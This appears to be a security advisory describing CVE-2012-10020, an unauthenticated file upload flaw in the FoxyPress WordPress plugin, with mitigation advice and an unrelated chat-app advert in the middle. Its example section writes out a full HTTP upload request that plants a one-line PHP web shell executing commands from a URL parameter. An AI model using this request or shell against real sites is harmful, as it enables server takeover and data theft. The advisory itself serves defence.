Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a critical security vulnerability, CVE-2012-10020, which affects the FoxyPress plugin for WordPress. This vulnerability threatens thousands of websites worldwide that rely on this plugin. The fundamental issue revolves around an arbitrary file upload vulnerability, which allows unauthenticated attackers to upload any file type, potentially enabling remote code execution. It is imperative for organizations and website administrators using FoxyPress to understand the gravity of this vulnerability, its potential impact, and the necessary steps for mitigation.
Vulnerability Summary
CVE ID: CVE-2012-10020
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
FoxyPress plugin for WordPress | Up to and including 0.4.2.1
How the Exploit Works
The vulnerability is rooted in a lack of file type validation within the ‘uploadify.php’ file in FoxyPress. This allows an attacker to upload arbitrary files without authentication. By uploading malicious files, an attacker could potentially execute arbitrary code on the server hosting the affected website. This could lead to a range of harmful outcomes, including system compromise and data leakage.
Conceptual Example Code
The following conceptual example demonstrates how this vulnerability could be potentially exploited. The malicious payload could be a PHP shell script or any other executable code.
POST /wp-content/plugins/foxypress/uploadify.php HTTP/1.1
Host: target.example.com
Content-Length: length
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="Filedata"; filename="shell.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundaryIn this example, an HTTP POST request is made to the ‘uploadify.php’ file, which is vulnerable. The payload is a simple PHP shell script that can execute commands sent through the ‘cmd’ GET parameter. Once uploaded, the attacker can execute arbitrary commands on the server by calling the uploaded file with the desired command as a parameter.
Mitigation
The primary mitigation strategy for this vulnerability is to apply the vendor-provided patch. For those who cannot immediately apply the patch, a temporary mitigation measure would be to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These systems can be configured to block attempts to exploit this vulnerability.
Please note, these temporary measures do not fully eliminate the risk; therefore, applying the vendor patch as soon as practicable is highly recommended. Additionally, regular updates and patches should be a part of an organization’s overall cybersecurity strategy to protect from potential threats.